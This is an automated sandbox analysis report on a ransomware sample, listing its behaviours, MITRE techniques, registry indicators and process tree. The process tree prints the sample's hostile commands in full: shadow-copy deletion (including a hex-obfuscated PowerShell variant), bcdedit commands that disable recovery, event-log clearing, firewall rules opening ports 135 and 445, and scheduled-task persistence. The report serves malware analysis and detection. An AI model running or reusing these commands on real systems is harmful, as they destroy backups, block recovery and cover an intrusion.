fbf9c0015a89908ba92c345ede8e7b98487c3337a3abc73f6efbf3df5a737e1f

Resubmissions

31/07/2025, 14:50

250731-r7z1msxp1510

02/07/2025, 23:18

250702-3ar5basns59

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20250619-en
submitted
02/07/2025, 23:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
Size 113KB
Sample250702-3ar5basns5
SHA256 fbf9c0015a89908ba92c345ede8e7b98487c3337a3abc73f6efbf3df5a737e1f
MD5 98a79e6ab303c8e8d392e382e1ecfed6
SHA1 f92a7b673b7d35339a0922153b539dfc5fe73c6e
SHA512 2fb3c33982634ca813246ee8492e0842d40dca3ab22ba98df5e1ae47512512da513fa82ea1edd77c4bf8c3a5cac1759873119a9a6dae1afbafccebe2b00f00c9
SSDEEP 1536:/KqG24yh1O6Aenr3H58QPPXQ7lLdo9M9ZCEvJY9M9wuSG:/KqGISer3pXCpkM9ZCoJYy
MD5 SHA1 SHA512 SSDEEP

Score

9^/10

defense_evasion discovery evasion execution impact persistence ransomware spyware stealer

Malware Config

Signatures

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
508	bcdedit.exe
4388	bcdedit.exe
2484	bcdedit.exe
1884	bcdedit.exe

Renames multiple (258) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3008489981-1977616533-741913813-1000\Control Panel\International\Geo\Nation	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3008489981-1977616533-741913813-1000\Control Panel\International\Geo\Nation	svchost.exe

Executes dropped EXE 2 IoCs

pid	Process
4460	svchost.exe
3020	svchost.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3008489981-1977616533-741913813-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\UpdateoygZZ4 = "C:\\Users\\Admin\\AppData\\Local\\svchost.exe"	svchost.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4940	powershell.exe
4440	powershell.exe

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3008489981-1977616533-741913813-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\AeyTc5G6y.bmp"	svchost.exe

Launches sc.exe 64 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
272	sc.exe
4444	sc.exe
276	sc.exe
372	sc.exe
792	sc.exe
4284	sc.exe
1492	sc.exe
4556	sc.exe
952	sc.exe
5040	sc.exe
4572	sc.exe
3776	sc.exe
1580	sc.exe
1872	sc.exe
3240	sc.exe
1796	sc.exe
2580	sc.exe
544	sc.exe
756	sc.exe
3928	sc.exe
5028	sc.exe
2088	sc.exe
4260	sc.exe
4852	sc.exe
2272	sc.exe
2456	sc.exe
432	sc.exe
4640	sc.exe
3116	sc.exe
2272	sc.exe
4532	sc.exe
4616	sc.exe
4696	sc.exe
2100	sc.exe
2408	sc.exe
3780	sc.exe
5012	sc.exe
4168	sc.exe
4948	sc.exe
1276	sc.exe
5012	sc.exe
2888	sc.exe
3184	sc.exe
4552	sc.exe
3284	sc.exe
3968	sc.exe
2100	sc.exe
4280	sc.exe
4668	sc.exe
1720	sc.exe
4224	sc.exe
4148	sc.exe
1732	sc.exe
4228	sc.exe
3140	sc.exe
1172	sc.exe
4016	sc.exe
4640	sc.exe
916	sc.exe
3496	sc.exe
1644	sc.exe
4312	sc.exe
4712	sc.exe
4732	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	bootcfg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	bootcfg.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\SYSTEM\CENTRALPROCESSOR\0	bootcfg.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier	bootcfg.exe

Delays execution with timeout.exe 9 IoCs

defense_evasion

pid	Process
1996	timeout.exe
1588	timeout.exe
2088	timeout.exe
3268	timeout.exe
3544	timeout.exe
4368	timeout.exe
1800	timeout.exe
3276	timeout.exe
4348	timeout.exe

Discovers systems in the same network 1 TTPs 1 IoCs

discovery

Remote System Discovery

T1018

pid	Process
3928	net.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
920	vssadmin.exe
4824	vssadmin.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
4568	schtasks.exe
4488	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
Token: SeDebugPrivilege	2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
Token: SeTcbPrivilege	2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
Token: SeSecurityPrivilege	2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
Token: SeTakeOwnershipPrivilege	2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
Token: SeDebugPrivilege	4460	svchost.exe
Token: SeDebugPrivilege	4460	svchost.exe
Token: SeTcbPrivilege	4460	svchost.exe
Token: SeSecurityPrivilege	4460	svchost.exe
Token: SeTakeOwnershipPrivilege	4460	svchost.exe
Token: SeDebugPrivilege	4460	svchost.exe
Token: SeTcbPrivilege	4460	svchost.exe
Token: SeSecurityPrivilege	4460	svchost.exe
Token: SeTakeOwnershipPrivilege	4460	svchost.exe
Token: SeDebugPrivilege	1544	powershell.exe
Token: SeDebugPrivilege	544	powershell.exe
Token: SeDebugPrivilege	3016	powershell.exe
Token: SeDebugPrivilege	1236	powershell.exe
Token: SeDebugPrivilege	3020	svchost.exe
Token: SeDebugPrivilege	4440	powershell.exe
Token: SeDebugPrivilege	3020	svchost.exe
Token: SeTcbPrivilege	3020	svchost.exe
Token: SeSecurityPrivilege	3020	svchost.exe
Token: SeTakeOwnershipPrivilege	3020	svchost.exe
Token: SeDebugPrivilege	1004	powershell.exe
Token: SeDebugPrivilege	4976	powershell.exe
Token: SeBackupPrivilege	2428	vssvc.exe
Token: SeRestorePrivilege	2428	vssvc.exe
Token: SeAuditPrivilege	2428	vssvc.exe
Token: SeDebugPrivilege	4492	powershell.exe
Token: SeIncreaseQuotaPrivilege	2536	WMIC.exe
Token: SeSecurityPrivilege	2536	WMIC.exe
Token: SeTakeOwnershipPrivilege	2536	WMIC.exe
Token: SeLoadDriverPrivilege	2536	WMIC.exe
Token: SeSystemProfilePrivilege	2536	WMIC.exe
Token: SeSystemtimePrivilege	2536	WMIC.exe
Token: SeProfSingleProcessPrivilege	2536	WMIC.exe
Token: SeIncBasePriorityPrivilege	2536	WMIC.exe
Token: SeCreatePagefilePrivilege	2536	WMIC.exe
Token: SeBackupPrivilege	2536	WMIC.exe
Token: SeRestorePrivilege	2536	WMIC.exe
Token: SeShutdownPrivilege	2536	WMIC.exe
Token: SeDebugPrivilege	2536	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2536	WMIC.exe
Token: SeRemoteShutdownPrivilege	2536	WMIC.exe
Token: SeUndockPrivilege	2536	WMIC.exe
Token: SeManageVolumePrivilege	2536	WMIC.exe
Token: 33	2536	WMIC.exe
Token: 34	2536	WMIC.exe
Token: 35	2536	WMIC.exe
Token: 36	2536	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2536	WMIC.exe
Token: SeSecurityPrivilege	2536	WMIC.exe
Token: SeTakeOwnershipPrivilege	2536	WMIC.exe
Token: SeLoadDriverPrivilege	2536	WMIC.exe
Token: SeSystemProfilePrivilege	2536	WMIC.exe
Token: SeSystemtimePrivilege	2536	WMIC.exe
Token: SeProfSingleProcessPrivilege	2536	WMIC.exe
Token: SeIncBasePriorityPrivilege	2536	WMIC.exe
Token: SeCreatePagefilePrivilege	2536	WMIC.exe
Token: SeBackupPrivilege	2536	WMIC.exe
Token: SeRestorePrivilege	2536	WMIC.exe
Token: SeShutdownPrivilege	2536	WMIC.exe
Token: SeDebugPrivilege	2536	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2112 wrote to memory of 4416	2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe	86
PID 2112 wrote to memory of 4416	2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe	86
PID 2112 wrote to memory of 4784	2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe	88
PID 2112 wrote to memory of 4784	2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe	88
PID 2112 wrote to memory of 4800	2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe	89
PID 2112 wrote to memory of 4800	2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe	89
PID 4416 wrote to memory of 3268	4416	cmd.exe	92
PID 4416 wrote to memory of 3268	4416	cmd.exe	92
PID 4784 wrote to memory of 1800	4784	cmd.exe	93
PID 4784 wrote to memory of 1800	4784	cmd.exe	93
PID 4800 wrote to memory of 3544	4800	cmd.exe	94
PID 4800 wrote to memory of 3544	4800	cmd.exe	94
PID 2112 wrote to memory of 4460	2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe	98
PID 2112 wrote to memory of 4460	2112	2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe	98
PID 4460 wrote to memory of 1644	4460	svchost.exe	99
PID 4460 wrote to memory of 1644	4460	svchost.exe	99
PID 4460 wrote to memory of 4444	4460	svchost.exe	100
PID 4460 wrote to memory of 4444	4460	svchost.exe	100
PID 4460 wrote to memory of 3528	4460	svchost.exe	102
PID 4460 wrote to memory of 3528	4460	svchost.exe	102
PID 4444 wrote to memory of 3276	4444	cmd.exe	105
PID 4444 wrote to memory of 3276	4444	cmd.exe	105
PID 1644 wrote to memory of 4348	1644	cmd.exe	106
PID 1644 wrote to memory of 4348	1644	cmd.exe	106
PID 3528 wrote to memory of 1996	3528	cmd.exe	107
PID 3528 wrote to memory of 1996	3528	cmd.exe	107
PID 4460 wrote to memory of 1236	4460	svchost.exe	112
PID 4460 wrote to memory of 1236	4460	svchost.exe	112
PID 4460 wrote to memory of 1544	4460	svchost.exe	113
PID 4460 wrote to memory of 1544	4460	svchost.exe	113
PID 4460 wrote to memory of 3016	4460	svchost.exe	115
PID 4460 wrote to memory of 3016	4460	svchost.exe	115
PID 4460 wrote to memory of 544	4460	svchost.exe	117
PID 4460 wrote to memory of 544	4460	svchost.exe	117
PID 4460 wrote to memory of 4488	4460	svchost.exe	120
PID 4460 wrote to memory of 4488	4460	svchost.exe	120
PID 4460 wrote to memory of 4440	4460	svchost.exe	124
PID 4460 wrote to memory of 4440	4460	svchost.exe	124
PID 4460 wrote to memory of 4976	4460	svchost.exe	126
PID 4460 wrote to memory of 4976	4460	svchost.exe	126
PID 4460 wrote to memory of 1004	4460	svchost.exe	128
PID 4460 wrote to memory of 1004	4460	svchost.exe	128
PID 4460 wrote to memory of 920	4460	svchost.exe	129
PID 4460 wrote to memory of 920	4460	svchost.exe	129
PID 4384 wrote to memory of 3020	4384	cmd.exe	131
PID 4384 wrote to memory of 3020	4384	cmd.exe	131
PID 3020 wrote to memory of 4948	3020	svchost.exe	133
PID 3020 wrote to memory of 4948	3020	svchost.exe	133
PID 3020 wrote to memory of 3068	3020	svchost.exe	134
PID 3020 wrote to memory of 3068	3020	svchost.exe	134
PID 3020 wrote to memory of 2836	3020	svchost.exe	135
PID 3020 wrote to memory of 2836	3020	svchost.exe	135
PID 4948 wrote to memory of 1588	4948	cmd.exe	140
PID 4948 wrote to memory of 1588	4948	cmd.exe	140
PID 2836 wrote to memory of 4368	2836	cmd.exe	141
PID 2836 wrote to memory of 4368	2836	cmd.exe	141
PID 3068 wrote to memory of 2088	3068	cmd.exe	142
PID 3068 wrote to memory of 2088	3068	cmd.exe	142
PID 1004 wrote to memory of 4492	1004	powershell.exe	144
PID 1004 wrote to memory of 4492	1004	powershell.exe	144
PID 4460 wrote to memory of 4308	4460	svchost.exe	151
PID 4460 wrote to memory of 4308	4460	svchost.exe	151
PID 4460 wrote to memory of 3624	4460	svchost.exe	153
PID 4460 wrote to memory of 3624	4460	svchost.exe	153

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe
"C:\Users\Admin\AppData\Local\Temp\2025-07-02_98a79e6ab303c8e8d392e382e1ecfed6_elex_lockbit_wannacry.exe"
1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2112
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_WSEkllRM.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4416
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3268
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_2TUA8ljO.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4784
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1800
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_wTXpiXvz.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4800
- - C:\Windows\system32\timeout.exe
    timeout /t 2 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3544
- C:\Users\Admin\AppData\Local\svchost.exe
  "C:\Users\Admin\AppData\Local\svchost.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Adds Run key to start application
  - Sets desktop wallpaper using registry
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4460
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_VngADrVc.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1644
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:4348
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_BOflcX8u.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4444
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3276
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\selfdestruct_RHhXs4q4.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3528
  - - C:\Windows\system32\timeout.exe
      timeout /t 2 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:1996
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" /c New-NetFirewallRule -DisplayName "Allow Inbound TCP Port 135" -Direction Inbound -Protocol TCP -LocalPort 135 -Action Allow -Enabled True
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1236
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" /c New-NetFirewallRule -DisplayName "Allow Outbound TCP Port 135" -Direction Outbound -Protocol TCP -LocalPort 135 -Action Allow -Enabled True
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1544
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" /c New-NetFirewallRule -DisplayName "Allow Inbound TCP Port 445" -Direction Inbound -Protocol TCP -LocalPort 445 -Action Allow -Enabled True
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3016
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" /c New-NetFirewallRule -DisplayName "Allow Outbound TCP Port 445" -Direction Outbound -Protocol TCP -LocalPort 445 -Action Allow -Enabled True
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:544
- - C:\Windows\SYSTEM32\schtasks.exe
    "schtasks" /create /tn UpdateTaskrcgwMx /tr "C:\Users\Admin\AppData\Local\svchost.exe" /sc onlogon /rl highest
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4488
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of AdjustPrivilegeToken
    PID:4440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F53686F646F77736F7079207C20466F7245616368202D4F626A656374207B245F2E44656C65746528297D20'.Substring(2*$_,2))};"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4976
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'Get-WmiObject Win32_Shadowcopy | ForEach-Object {$_.Delete();} '.Substring(2*$_,2))};"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1004
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass -c 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4492
- - C:\Windows\SYSTEM32\vssadmin.exe
    "vssadmin.exe" delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:920
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C /c vssadmin Delete Shadows /All /Quiet
    3⤵
    PID:4308
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:3624
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:2280
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C /c wmic SHADOWCOPY /nointeractive
    3⤵
    PID:3864
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C /c wevtutil cl security
    3⤵
    PID:3544
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C /c wevtutil cl system
    3⤵
    PID:4384
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C /c wevtutil cl application
    3⤵
    PID:4828
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
    3⤵
    PID:2476
  - - C:\Windows\system32\vssadmin.exe
      vssadmin delete shadows /all /quiet
      4⤵
      Interacts with shadow copies
      PID:4824
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic shadowcopy delete
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2536
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      Modifies boot configuration data using bcdedit
      PID:508
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled no
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4388
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /C /C DEL /F /Q C:\PROGRA~3\8F11.tmp >> NUL
    3⤵
    PID:4768
- - C:\Windows\SYSTEM32\bootcfg.exe
    "bootcfg" /raw /a /safeboot:network /id 1
    3⤵
    - Checks processor information in registry
    PID:3464
- - C:\Windows\SYSTEM32\bcdedit.exe
    "bcdedit" /set {current} safeboot network
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2484
- - C:\Windows\SYSTEM32\bootcfg.exe
    "bootcfg" /raw /fastdetect /id 1
    3⤵
    - Checks processor information in registry
    PID:2412
- - C:\Windows\SYSTEM32\bcdedit.exe
    "bcdedit" /deletevalue {current} safeboot
    3⤵
    - Modifies boot configuration data using bcdedit
